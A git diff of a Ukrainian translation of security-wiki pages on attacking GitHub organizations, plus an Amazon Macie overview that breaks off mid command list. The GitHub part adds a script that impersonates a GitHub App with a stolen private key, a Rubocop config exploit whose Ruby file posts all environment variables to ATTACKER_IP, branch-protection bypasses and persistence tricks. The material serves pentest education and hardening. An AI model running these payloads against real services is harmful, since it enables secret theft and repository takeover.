- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знаєте_
|
||||
- **Зміна видимості репозиторію**: Якщо увімкнено, **учасники** з **адміністративними** правами для **репозиторію** зможуть **змінити його видимість**. Якщо вимкнено, тільки власники організації можуть змінювати видимість репозиторіїв. Якщо ви **не** хочете, щоб люди робили речі **публічними**, переконайтеся, що це **вимкнено**.
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знаєте_
|
||||
- **Запити на доступ до інтеграцій**: З цим увімкненим зовнішні співпрацівники зможуть запитувати доступ до GitHub або OAuth додатків для доступу до цієї організації та її ресурсів. Це зазвичай потрібно, але якщо ні, краще вимкнути.
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_
|
||||
- **Зміна видимості репозиторію**: Якщо увімкнено, **учасники** з **адміністративними** правами для **репозиторію** зможуть **змінювати його видимість**. Якщо вимкнено, тільки власники організації можуть змінювати видимість репозиторіїв. Якщо ви **не** хочете, щоб люди робили речі **публічними**, переконайтеся, що це **вимкнено**.
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_
|
||||
- **Видалення та передача репозиторію**: Якщо увімкнено, учасники з **адміністративними** правами для репозиторію зможуть **видаляти** або **передавати** публічні та приватні **репозиторії**.
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знаєте_
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_
|
||||
- **Дозволити учасникам створювати команди**: Якщо увімкнено, будь-який **учасник** організації зможе **створювати** нові **команди**. Якщо вимкнено, тільки власники організації можуть створювати нові команди. Краще, щоб це було вимкнено.
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знаєте_
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_
|
||||
- **Більше речей можна налаштувати** на цій сторінці, але попередні є найбільш пов'язаними з безпекою.
|
||||
|
||||
### Налаштування дій
|
||||
@@ -87,13 +81,13 @@ accessible-deleted-data-in-github.md
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що всі ці конфігурації також можуть бути встановлені для кожного репозиторію незалежно
|
||||
|
||||
- **Політики дій Github**: Це дозволяє вказати, які репозиторії можуть виконувати робочі процеси та які робочі процеси повинні бути дозволені. Рекомендується **вказати, які репозиторії** повинні бути дозволені і не дозволяти всім діям виконуватись.
|
||||
- **Політики дій Github**: Це дозволяє вам вказати, які репозиторії можуть виконувати робочі процеси і які робочі процеси повинні бути дозволені. Рекомендується **вказати, які репозиторії** повинні бути дозволені і не дозволяти всім діям виконуватися.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Робочі процеси запитів на злиття з зовнішніх співпрацівників**: Рекомендується **вимагати схвалення для всіх** зовнішніх співпрацівників.
|
||||
- _Я не зміг знайти API з цією інформацією, поділіться, якщо ви знаєте_
|
||||
- **Виконання робочих процесів з запитів на злиття**: Це **сильно не рекомендується** виконувати робочі процеси з запитів на злиття, оскільки утримувачі походження форку отримають можливість використовувати токени з правами читання на вихідному репозиторії.
|
||||
- _Я не зміг знайти API з цією інформацією, поділіться, якщо ви знаєте_
|
||||
- **Дозволи робочих процесів**: Сильно рекомендується **надавати лише права читання на репозиторій**. Не рекомендується надавати права на запис і створення/схвалення запитів на злиття, щоб уникнути зловживання GITHUB_TOKEN, наданим для виконання робочих процесів.
|
||||
- _Я не зміг знайти API з цією інформацією, поділіться, якщо ви знайшли_
|
||||
- **Виконання робочих процесів з запитів на злиття**: Дуже **не рекомендується виконувати робочі процеси з запитів на злиття**, оскільки утримувачі походження форка отримають можливість використовувати токени з правами читання на вихідному репозиторії.
|
||||
- _Я не зміг знайти API з цією інформацією, поділіться, якщо ви знайшли_
|
||||
- **Дозволи робочих процесів**: Дуже рекомендується **надавати лише права читання на репозиторії**. Не рекомендується надавати права на запис і створення/схвалення запитів на злиття, щоб уникнути зловживання GITHUB_TOKEN, наданим для виконання робочих процесів.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
|
||||
### Інтеграції
|
||||
@@ -109,14 +103,14 @@ _Дайте знати, якщо ви знаєте кінцеву точку API
|
||||
|
||||
### З обліковими даними користувача
|
||||
|
||||
Якщо ви якимось чином вже маєте облікові дані для користувача всередині організації, ви можете **просто увійти** та перевірити, які **ролі підприємства та організації у вас є**, якщо ви є звичайним учасником, перевірте, які **дозволи мають звичайні учасники**, в яких **групах** ви знаходитесь, які **дозволи у вас є** над якими **репозиторіями** та **як захищені репозиторії**.
|
||||
Якщо ви якимось чином вже маєте облікові дані для користувача в організації, ви можете **просто увійти** і перевірити, які **ролі підприємства та організації у вас є**, якщо ви звичайний учасник, перевірте, які **привілеї мають звичайні учасники**, в яких **групах** ви знаходитесь, які **привілеї ви маєте** над якими **репозиторіями** та **як захищені репозиторії**.
|
||||
|
||||
Зверніть увагу, що **може використовуватися 2FA**, тому ви зможете отримати доступ до цієї інформації лише якщо зможете також **пройти цю перевірку**.
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що якщо ви **вдасться вкрасти cookie `user_session`** (в даний час налаштований з SameSite: Lax), ви зможете **повністю видати себе за користувача** без необхідності в облікових даних або 2FA.
|
||||
> Зверніть увагу, що якщо ви **зумієте вкрасти cookie `user_session`** (в даний час налаштоване з SameSite: Lax), ви можете **повністю видати себе за користувача** без необхідності в облікових даних або 2FA.
|
||||
|
||||
Перевірте розділ нижче про [**обхід захисту гілок**](./#branch-protection-bypass), якщо це буде корисно.
|
||||
Перевірте розділ нижче про [**обхід захисту гілок**](#branch-protection-bypass), якщо це буде корисно.
|
||||
|
||||
### З SSH ключем користувача
|
||||
|
||||
@@ -130,9 +124,9 @@ git config --list
|
||||
```
|
||||
Якщо користувач налаштував своє ім'я користувача як своє ім'я користувача github, ви можете отримати доступ до **публічних ключів, які він налаштував** у своєму обліковому записі за адресою _https://github.com/\<github_username>.keys_, ви можете перевірити це, щоб підтвердити, що приватний ключ, який ви знайшли, може бути використаний.
|
||||
|
||||
**SSH ключі** також можуть бути налаштовані в репозиторіях як **ключі розгортання**. Будь-хто, хто має доступ до цього ключа, зможе **запускати проекти з репозиторію**. Зазвичай на сервері з різними ключами розгортання локальний файл **`~/.ssh/config`** надасть вам інформацію про те, до якого ключа це відноситься.
|
||||
**SSH ключі** також можуть бути налаштовані в репозиторіях як **ключі для розгортання**. Будь-хто, хто має доступ до цього ключа, зможе **запускати проекти з репозиторію**. Зазвичай на сервері з різними ключами для розгортання локальний файл **`~/.ssh/config`** надасть вам інформацію про те, до якого ключа це відноситься.
|
||||
|
||||
#### GPG Ключі
|
||||
#### GPG ключі
|
||||
|
||||
Як пояснено [**тут**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), іноді потрібно підписувати коміти, інакше вас можуть виявити.
|
||||
|
||||
@@ -144,7 +138,7 @@ gpg --list-secret-keys --keyid-format=long
|
||||
|
||||
Для введення про [**токени користувача перевірте основну інформацію**](basic-github-information.md#personal-access-tokens).
|
||||
|
||||
Токен користувача може використовуватися **замість пароля** для Git через HTTPS або може використовуватися для [**автентифікації в API через базову автентифікацію**](https://docs.github.com/v3/auth/#basic-authentication). Залежно від привілеїв, які до нього прикріплені, ви можете виконувати різні дії.
|
||||
Токен користувача може використовуватися **замість пароля** для Git через HTTPS або може використовуватися для [**автентифікації до API через базову автентифікацію**](https://docs.github.com/v3/auth/#basic-authentication). Залежно від привілеїв, які до нього прикріплені, ви можете виконувати різні дії.
|
||||
|
||||
Токен користувача виглядає так: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
|
||||
@@ -166,6 +160,106 @@ gpg --list-secret-keys --keyid-format=long
|
||||
|
||||
Більше того, як пояснено в основній інформації, **організації можуть надавати/відмовляти в доступі стороннім додаткам** до інформації/репозиторіїв/дій, пов'язаних з організацією.
|
||||
|
||||
#### Видавати себе за додаток GitHub з його приватним ключем (JWT → токени доступу до установок)
|
||||
|
||||
Якщо ви отримаєте приватний ключ (PEM) додатка GitHub, ви можете повністю видати себе за додаток у всіх його установках:
|
||||
|
||||
- Згенеруйте короткочасний JWT, підписаний приватним ключем
|
||||
- Викликайте REST API додатка GitHub для перерахунку установок
|
||||
- Створіть токени доступу для кожної установки та використовуйте їх для переліку/клонування/пушу до репозиторіїв, наданих цій установці
|
||||
|
||||
Вимоги:
|
||||
- Приватний ключ додатка GitHub (PEM)
|
||||
- ID додатка GitHub (числовий). GitHub вимагає, щоб iss був ID додатка
|
||||
|
||||
Створити JWT (RS256):
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import time, jwt
|
||||
|
||||
with open("priv.pem", "r") as f:
|
||||
signing_key = f.read()
|
||||
|
||||
APP_ID = "123456" # GitHub App ID (numeric)
|
||||
|
||||
def gen_jwt():
|
||||
now = int(time.time())
|
||||
payload = {
|
||||
"iat": now - 60,
|
||||
"exp": now + 600 - 60, # ≤10 minutes
|
||||
"iss": APP_ID,
|
||||
}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
```
|
||||
Список установок для автентифікованого додатку:
|
||||
```bash
|
||||
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
|
||||
|
||||
curl -sS -H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations
|
||||
```
|
||||
Створіть токен доступу для встановлення (діє ≤ 10 хвилин):
|
||||
```bash
|
||||
INSTALL_ID=12345678
|
||||
curl -sS -X POST \
|
||||
-H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
|
||||
```
|
||||
Використовуйте токен для доступу до коду. Ви можете клонувати або відправляти зміни, використовуючи форму URL x‑access‑token:
|
||||
```bash
|
||||
TOKEN=ghs_...
|
||||
REPO=owner/name
|
||||
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
|
||||
# push works if the app has contents:write on that repository
|
||||
```
|
||||
Програмний PoC для націлювання на конкретну організацію та перелікування приватних репозиторіїв (PyGithub + PyJWT):
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import time, jwt, requests
|
||||
from github import Auth, GithubIntegration
|
||||
|
||||
with open("priv.pem", "r") as f:
|
||||
signing_key = f.read()
|
||||
|
||||
APP_ID = "123456" # GitHub App ID (numeric)
|
||||
ORG = "someorg"
|
||||
|
||||
def gen_jwt():
|
||||
now = int(time.time())
|
||||
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
|
||||
auth = Auth.AppAuth(APP_ID, signing_key)
|
||||
GI = GithubIntegration(auth=auth)
|
||||
installation = GI.get_org_installation(ORG)
|
||||
print(f"Installation ID: {installation.id}")
|
||||
|
||||
jwt_tok = gen_jwt()
|
||||
r = requests.post(
|
||||
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
|
||||
headers={
|
||||
"Accept": "application/vnd.github+json",
|
||||
"Authorization": f"Bearer {jwt_tok}",
|
||||
"X-GitHub-Api-Version": "2022-11-28",
|
||||
},
|
||||
)
|
||||
access_token = r.json()["token"]
|
||||
|
||||
print("--- repos ---")
|
||||
for repo in installation.get_repos():
|
||||
print(f"* {repo.full_name} (private={repo.private})")
|
||||
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
|
||||
print(clone_url)
|
||||
```
|
||||
Примітки:
|
||||
- Токени встановлення успадковують точно дозволи на рівні репозиторію програми (наприклад, contents: write, pull_requests: write)
|
||||
- Токени діють ≤10 хвилин, але нові токени можуть бути створені без обмежень, поки ви зберігаєте приватний ключ
|
||||
- Ви також можете перерахувати установки через REST API (GET /app/installations), використовуючи JWT
|
||||
|
||||
## Компрометація та зловживання Github Action
|
||||
|
||||
Існує кілька технік для компрометації та зловживання Github Action, перевірте їх тут:
|
||||
@@ -174,51 +268,101 @@ gpg --list-secret-keys --keyid-format=long
|
||||
abusing-github-actions/
|
||||
{{#endref}}
|
||||
|
||||
## Зловживання сторонніми GitHub Apps, що виконують зовнішні інструменти (Rubocop extension RCE)
|
||||
|
||||
Деякі GitHub Apps та сервіси перевірки PR виконують зовнішні лінтери/SAST проти pull-запитів, використовуючи конфігураційні файли, контрольовані репозиторієм. Якщо підтримуваний інструмент дозволяє динамічне завантаження коду, PR може досягти RCE на виконувачі сервісу.
|
||||
|
||||
Приклад: Rubocop підтримує завантаження розширень з його YAML конфігурації. Якщо сервіс передає .rubocop.yml, наданий репозиторієм, ви можете виконати довільний Ruby, вимагаючи локальний файл.
|
||||
|
||||
- Умови спрацьовування зазвичай включають:
|
||||
- Інструмент увімкнено в сервісі
|
||||
- PR містить файли, які розпізнає інструмент (для Rubocop: .rb)
|
||||
- Репозиторій містить конфігураційний файл інструменту (Rubocop шукає .rubocop.yml будь-де)
|
||||
|
||||
Файли експлуатації в PR:
|
||||
|
||||
.rubocop.yml
|
||||
```yaml
|
||||
require:
|
||||
- ./ext.rb
|
||||
```
|
||||
ext.rb (екстракція змінних середовища виконавця):
|
||||
```ruby
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
require 'json'
|
||||
|
||||
env_vars = ENV.to_h
|
||||
json_data = env_vars.to_json
|
||||
url = URI.parse('http://ATTACKER_IP/')
|
||||
|
||||
begin
|
||||
http = Net::HTTP.new(url.host, url.port)
|
||||
req = Net::HTTP::Post.new(url.path)
|
||||
req['Content-Type'] = 'application/json'
|
||||
req.body = json_data
|
||||
http.request(req)
|
||||
rescue StandardError => e
|
||||
warn e.message
|
||||
end
|
||||
```
|
||||
Також включіть достатньо великий фіктивний файл Ruby (наприклад, main.rb), щоб лінтер дійсно запустився.
|
||||
|
||||
Вплив, спостережений у реальному світі:
|
||||
- Повне виконання коду на виробничому виконувачі, який виконував лінтер
|
||||
- Екстракція чутливих змінних середовища, включаючи приватний ключ GitHub App, що використовується сервісом, API ключі, облікові дані БД тощо.
|
||||
- З вит leaked приватним ключем GitHub App ви можете створювати токени установки та отримувати доступ на читання/запис до всіх репозиторіїв, наданих цьому додатку (див. розділ вище про імперсонацію GitHub App)
|
||||
|
||||
Рекомендації щодо посилення безпеки для сервісів, що виконують зовнішні інструменти:
|
||||
- Вважайте конфігурації інструментів, надані репозиторієм, ненадійним кодом
|
||||
- Виконуйте інструменти в суворо ізольованих пісочницях без змінних середовища, що містять чутливу інформацію
|
||||
- Застосовуйте облікові дані з найменшими привілеями та ізоляцію файлової системи, а також обмежуйте/забороняйте вихідний мережевий трафік для інструментів, які не потребують доступу до Інтернету
|
||||
|
||||
## Обхід захисту гілок
|
||||
|
||||
- **Вимагати певну кількість схвалень**: Якщо ви скомпрометували кілька облікових записів, ви можете просто приймати свої PR з інших облікових записів. Якщо у вас є лише обліковий запис, з якого ви створили PR, ви не можете прийняти свій власний PR. Однак, якщо у вас є доступ до середовища **Github Action** всередині репозиторію, використовуючи **GITHUB_TOKEN**, ви можете **схвалити свій PR** і отримати 1 схвалення таким чином.
|
||||
- **Вимагайте певну кількість схвалень**: Якщо ви скомпрометували кілька облікових записів, ви можете просто прийняти свої PR з інших облікових записів. Якщо у вас є лише обліковий запис, з якого ви створили PR, ви не можете прийняти свій власний PR. Однак, якщо у вас є доступ до середовища **Github Action** всередині репозиторію, використовуючи **GITHUB_TOKEN**, ви можете **схвалити свій PR** і отримати 1 схвалення таким чином.
|
||||
- _Примітка для цього та для обмеження власників коду, що зазвичай користувач не зможе схвалити свої власні PR, але якщо ви можете, ви можете зловживати цим, щоб приймати свої PR._
|
||||
- **Скасувати схвалення, коли нові коміти надсилаються**: Якщо це не налаштовано, ви можете подати легітимний код, почекати, поки хтось його схвалить, а потім вставити шкідливий код і злити його в захищену гілку.
|
||||
- **Вимагати перевірки від власників коду**: Якщо це активовано і ви є власником коду, ви можете зробити так, щоб **Github Action створив ваш PR, а потім ви самі його схвалили**.
|
||||
- **Скасовуйте схвалення, коли нові коміти надсилаються**: Якщо це не налаштовано, ви можете подати легітимний код, почекати, поки хтось його схвалить, а потім вставити шкідливий код і злити його в захищену гілку.
|
||||
- **Вимагайте оглядів від власників коду**: Якщо це активовано і ви є власником коду, ви можете зробити так, щоб **Github Action створив ваш PR, а потім схвалив його самостійно**.
|
||||
- Коли файл **CODEOWNER неправильно налаштований**, Github не скаржиться, але не використовує його. Тому, якщо він неправильно налаштований, **захист власників коду не застосовується.**
|
||||
- **Дозволити вказаним акторам обходити вимоги до запитів на злиття**: Якщо ви один з цих акторів, ви можете обійти захист запитів на злиття.
|
||||
- **Включити адміністраторів**: Якщо це не налаштовано і ви є адміністратором репозиторію, ви можете обійти ці захисти гілок.
|
||||
- **Дозвольте вказаним учасникам обходити вимоги до запитів на злиття**: Якщо ви один з цих учасників, ви можете обійти захист запитів на злиття.
|
||||
- **Включіть адміністраторів**: Якщо це не налаштовано і ви є адміністратором репозиторію, ви можете обійти ці захисти гілок.
|
||||
- **Викрадення PR**: Ви можете бути в змозі **змінити PR когось іншого**, додавши шкідливий код, схваливши отриманий PR самостійно і злити все.
|
||||
- **Видалення захисту гілок**: Якщо ви є **адміністратором репозиторію, ви можете вимкнути захист**, злити свій PR і знову встановити захист.
|
||||
- **Обхід захисту на надсилання**: Якщо репозиторій **дозволяє лише певним користувачам** надсилати пуш (зливати код) у гілки (захист гілки може захищати всі гілки, вказуючи шаблон `*`).
|
||||
- Якщо у вас є **доступ на запис до репозиторію, але вам не дозволено надсилати код** через захист гілки, ви все ще можете **створити нову гілку** і в її межах створити **github action, яка спрацьовує, коли код надсилається**. Оскільки **захист гілки не захищає гілку, поки вона не створена**, цей перший пуш коду в гілку **виконає github action**.
|
||||
- **Обхід захисту на надсилання**: Якщо репозиторій **дозволяє лише певним користувачам** надсилати пуші (зливати код) у гілки (захист гілки може захищати всі гілки, вказуючи шаблон `*`).
|
||||
- Якщо у вас є **доступ на запис до репозиторію, але вам не дозволено надсилати код** через захист гілки, ви все ще можете **створити нову гілку** і в її межах створити **github action, який спрацьовує, коли код надсилається**. Оскільки **захист гілки не захищає гілку, поки вона не створена**, цей перший пуш коду в гілку **виконає github action**.
|
||||
|
||||
## Обхід захисту середовищ
|
||||
|
||||
Для введення про [**середовище Github перевірте основну інформацію**](basic-github-information.md#git-environments).
|
||||
Для введення про [**Github Environment перевірте основну інформацію**](basic-github-information.md#git-environments).
|
||||
|
||||
У разі, якщо середовище може бути **доступним з усіх гілок**, воно **не захищене** і ви можете легко отримати доступ до секретів всередині середовища. Зверніть увагу, що ви можете знайти репозиторії, де **всі гілки захищені** (вказуючи їхні назви або використовуючи `*`), у цьому сценарії, **знайдіть гілку, в яку ви можете надсилати код**, і ви можете **екстрагувати** секрети, створивши новий github action (або модифікувавши один).
|
||||
У разі, якщо середовище може бути **доступним з усіх гілок**, воно **не захищене** і ви можете легко отримати доступ до секретів всередині середовища. Зверніть увагу, що ви можете знайти репозиторії, де **всі гілки захищені** (вказуючи їхні назви або використовуючи `*`), у цьому випадку, **знайдіть гілку, в яку ви можете надсилати код** і ви можете **екстрагувати** секрети, створивши новий github action (або модифікувавши один).
|
||||
|
||||
Зверніть увагу, що ви можете знайти крайній випадок, коли **всі гілки захищені** (через шаблон `*`), вказано **хто може надсилати код до гілок** (_ви можете вказати це в захисті гілки_) і **ваш користувач не має дозволу**. Ви все ще можете запустити власний github action, оскільки ви можете створити гілку і використовувати тригер на пуш для неї самої. **Захист гілки дозволяє пуш до нової гілки, тому github action буде спрацьовувати**.
|
||||
Зверніть увагу, що ви можете знайти крайній випадок, коли **всі гілки захищені** (через шаблон `*`), вказано **хто може надсилати код до гілок** (_ви можете вказати це в захисті гілки_) і **ваш користувач не має дозволу**. Ви все ще можете запустити власний github action, оскільки ви можете створити гілку і використовувати тригер на пуш над самим собою. **Захист гілки дозволяє пуш до нової гілки, тому github action буде спрацьовувати**.
|
||||
```yaml
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
```
|
||||
Зверніть увагу, що **після створення** гілки **захист гілки буде застосовано до нової гілки** і ви не зможете її змінити, але на той момент ви вже вивели секрети.
|
||||
Зверніть увагу, що **після створення** гілки **захист гілки буде застосовано до нової гілки** і ви не зможете її змінити, але на той момент ви вже вивантажите секрети.
|
||||
|
||||
## Постійність
|
||||
|
||||
- Генерувати **токен користувача**
|
||||
- Вкрасти **токени github** з **секретів**
|
||||
- **Видалення** результатів **робочого процесу** та **гілок**
|
||||
- **Видалення** результатів **робочих процесів** та **гілок**
|
||||
- Надати **більше прав всій організації**
|
||||
- Створити **вебхуки** для ексфільтрації інформації
|
||||
- Запросити **зовнішніх співпрацівників**
|
||||
- **Видалити** **вебхуки**, що використовуються **SIEM**
|
||||
- **Видалити** **вебхуки**, які використовуються **SIEM**
|
||||
- Створити/змінити **Github Action** з **бекдором**
|
||||
- Знайти **вразливий Github Action для ін'єкції команд** через модифікацію **значення секрету**
|
||||
- Знайти **вразливий Github Action для командної ін'єкції** через модифікацію **значення секрету**
|
||||
|
||||
### Підроблені коміти - Бекдор через коміти репозиторію
|
||||
|
||||
У Github можливо **створити PR до репозиторію з форка**. Навіть якщо PR **не буде прийнято**, **ідентифікатор коміту** всередині оригінального репозиторію буде створено для форкованої версії коду. Тому, зловмисник **може закріпити використання конкретного коміту з, здавалося б, легітимного репозиторію, який не був створений власником репозиторію**.
|
||||
У Github можливо **створити PR до репозиторію з форка**. Навіть якщо PR **не буде прийнято**, **ідентифікатор коміту** всередині оригінального репозиторію буде створено для версії коду з форка. Тому, зловмисник **може закріпити використання конкретного коміту з, здавалося б, легітимного репозиторію, який не був створений власником репозиторію**.
|
||||
|
||||
Як [**це**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
Як [**цей**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
```yaml
|
||||
name: example
|
||||
on: [push]
|
||||
@@ -233,4 +377,12 @@ echo 'hello world!'
|
||||
```
|
||||
Для отримання додаткової інформації перегляньте [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
|
||||
## Посилання
|
||||
|
||||
- [Як ми експлуатували CodeRabbit: від простого PR до RCE та запису доступу на 1M репозиторіях](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
|
||||
- [Розширення Rubocop (вимога)](https://docs.rubocop.org/rubocop/latest/extensions.html)
|
||||
- [Аутентифікація за допомогою GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
|
||||
- [Список установок для аутентифікованого додатку](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
|
||||
- [Створити токен доступу до установки для додатку](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,48 +1,142 @@
|
||||
# Amazon Macie
|
||||
|
||||
## Вступ
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Amazon Macie - це сервіс безпеки даних, який виявляє чутливі дані за допомогою машинного навчання та виявлення шаблонів, забезпечує видимість ризиків безпеки даних і дозволяє автоматизовану захист від цих ризиків.
|
||||
## Macie
|
||||
|
||||
## Перегляд Знахідок за Допомогою AWS Console
|
||||
Amazon Macie виділяється як сервіс, призначений для **автоматичного виявлення, класифікації та ідентифікації даних** в обліковому записі AWS. Він використовує **машинне навчання** для безперервного моніторингу та аналізу даних, головним чином зосереджуючись на виявленні та сповіщенні про незвичайні або підозрілі дії, аналізуючи дані **cloud trail event** та шаблони поведінки користувачів.
|
||||
|
||||
Після сканування конкретного S3 бакету на наявність секретів і чутливих даних, будуть згенеровані знахідки, які відобразяться в консолі. Уповноважені користувачі з достатніми правами можуть переглядати та перераховувати ці знахідки для кожної роботи.
|
||||
Ключові особливості Amazon Macie:
|
||||
|
||||
1. **Активний огляд даних**: Використовує машинне навчання для активного огляду даних під час виконання різних дій в обліковому записі AWS.
|
||||
2. **Виявлення аномалій**: Ідентифікує нерегулярні дії або шаблони доступу, генеруючи сповіщення для зменшення потенційних ризиків витоку даних.
|
||||
3. **Безперервний моніторинг**: Автоматично моніторить та виявляє нові дані в Amazon S3, використовуючи машинне навчання та штучний інтелект для адаптації до шаблонів доступу до даних з часом.
|
||||
4. **Класифікація даних з NLP**: Використовує обробку природної мови (NLP) для класифікації та інтерпретації різних типів даних, присвоюючи ризикові бали для пріоритизації знахідок.
|
||||
5. **Моніторинг безпеки**: Ідентифікує дані, чутливі до безпеки, включаючи API ключі, секретні ключі та особисту інформацію, допомагаючи запобігти витокам даних.
|
||||
|
||||
Amazon Macie є **регіональним сервісом** і вимагає роль IAM 'AWSMacieServiceCustomerSetupRole' та активований AWS CloudTrail для функціонування.
|
||||
|
||||
### Система сповіщень
|
||||
|
||||
Macie класифікує сповіщення на попередньо визначені категорії, такі як:
|
||||
|
||||
- Анонімний доступ
|
||||
- Відповідність даним
|
||||
- Втрата облікових даних
|
||||
- Підвищення привілеїв
|
||||
- Вимагач
|
||||
- Підозрілий доступ тощо.
|
||||
|
||||
Ці сповіщення надають детальні описи та розподіл результатів для ефективної реакції та вирішення.
|
||||
|
||||
### Функції панелі управління
|
||||
|
||||
Панель управління класифікує дані на різні секції, включаючи:
|
||||
|
||||
- Об'єкти S3 (за часовим діапазоном, ACL, PII)
|
||||
- Високоризикові події/користувачі CloudTrail
|
||||
- Локації активності
|
||||
- Типи ідентичності користувачів CloudTrail та інше.
|
||||
|
||||
### Класифікація користувачів
|
||||
|
||||
Користувачі класифікуються на рівні залежно від рівня ризику їх API викликів:
|
||||
|
||||
- **Platinum**: Високоризикові API виклики, часто з адміністративними привілеями.
|
||||
- **Gold**: API виклики, пов'язані з інфраструктурою.
|
||||
- **Silver**: API виклики середнього ризику.
|
||||
- **Bronze**: API виклики низького ризику.
|
||||
|
||||
### Типи ідентичності
|
||||
|
||||
Типи ідентичності включають Root, IAM користувач, Прийнята роль, Федеративний користувач, AWS обліковий запис та AWS сервіс, що вказує на джерело запитів.
|
||||
|
||||
### Класифікація даних
|
||||
|
||||
Класифікація даних охоплює:
|
||||
|
||||
- Content-Type: На основі виявленого типу вмісту.
|
||||
- Розширення файлу: На основі розширення файлу.
|
||||
- Тема: Класифікована за ключовими словами у файлах.
|
||||
- Regex: Класифікована на основі специфічних шаблонів regex.
|
||||
|
||||
Найвищий ризик серед цих категорій визначає остаточний рівень ризику файлу.
|
||||
|
||||
### Дослідження та аналіз
|
||||
|
||||
Функція дослідження Amazon Macie дозволяє виконувати користувацькі запити по всіх даних Macie для глибокого аналізу. Фільтри включають дані CloudTrail, властивості S3 Bucket та об'єкти S3. Крім того, вона підтримує запрошення інших облікових записів для спільного використання Amazon Macie, що полегшує спільне управління даними та моніторинг безпеки.
|
||||
|
||||
## Перелік знахідок з AWS Console
|
||||
|
||||
Після сканування конкретного S3 bucket на наявність секретів та чутливих даних, будуть згенеровані та відображені знахідки в консолі. Уповноважені користувачі з достатніми правами можуть переглядати та перераховувати ці знахідки для кожної роботи.
|
||||
|
||||
<img width="1438" alt="Screenshot 2025-02-10 at 19 08 08" src="https://github.com/user-attachments/assets/4420f13e-c071-4ae4-946b-6fe67449a9f6" />
|
||||
|
||||
|
||||
## Виявлення Секрету
|
||||
## Виявлення секрету
|
||||
|
||||
Amazon Macie надає функцію, яка відображає виявлені секрети у відкритому текстовому форматі. Ця функціональність допомагає в ідентифікації скомпрометованих даних. Однак відображення секретів у відкритому тексті зазвичай не вважається кращою практикою через проблеми безпеки, оскільки це може потенційно розкрити чутливу інформацію.
|
||||
Amazon Macie надає функцію, яка відображає виявлені секрети у форматі відкритого тексту. Ця функціональність допомагає в ідентифікації скомпрометованих даних. Однак відображення секретів у відкритому тексті зазвичай не вважається кращою практикою через проблеми безпеки, оскільки це може потенційно розкрити чутливу інформацію.
|
||||
|
||||
<img width="596" alt="Screenshot 2025-02-10 at 19 13 53" src="https://github.com/user-attachments/assets/31c40c29-0bba-429b-8b86-4e214d1aef66" />
|
||||
|
||||
<img width="1154" alt="Screenshot 2025-02-10 at 19 15 11" src="https://github.com/user-attachments/assets/df616e56-a11a-41da-ac69-0bea37d143a5" />
|
||||
|
||||
## Перерахування
|
||||
### Enumeration
|
||||
```bash
|
||||
# List and describe classification jobs
|
||||
aws macie2 list-classification-jobs --region eu-west-1
|
||||
aws macie2 describe-classification-job --job-id <Job_ID> --region eu-west-1
|
||||
# Get buckets
|
||||
aws macie2 describe-buckets
|
||||
|
||||
# Org config
|
||||
aws macie2 describe-organization-configuration
|
||||
|
||||
# Get admin account (if any)
|
||||
aws macie2 get-administrator-account
|
||||
aws macie2 list-organization-admin-accounts # Run from the management account of the org
|
||||
|
||||
# Get macie account members (run this from the admin account)
|
||||
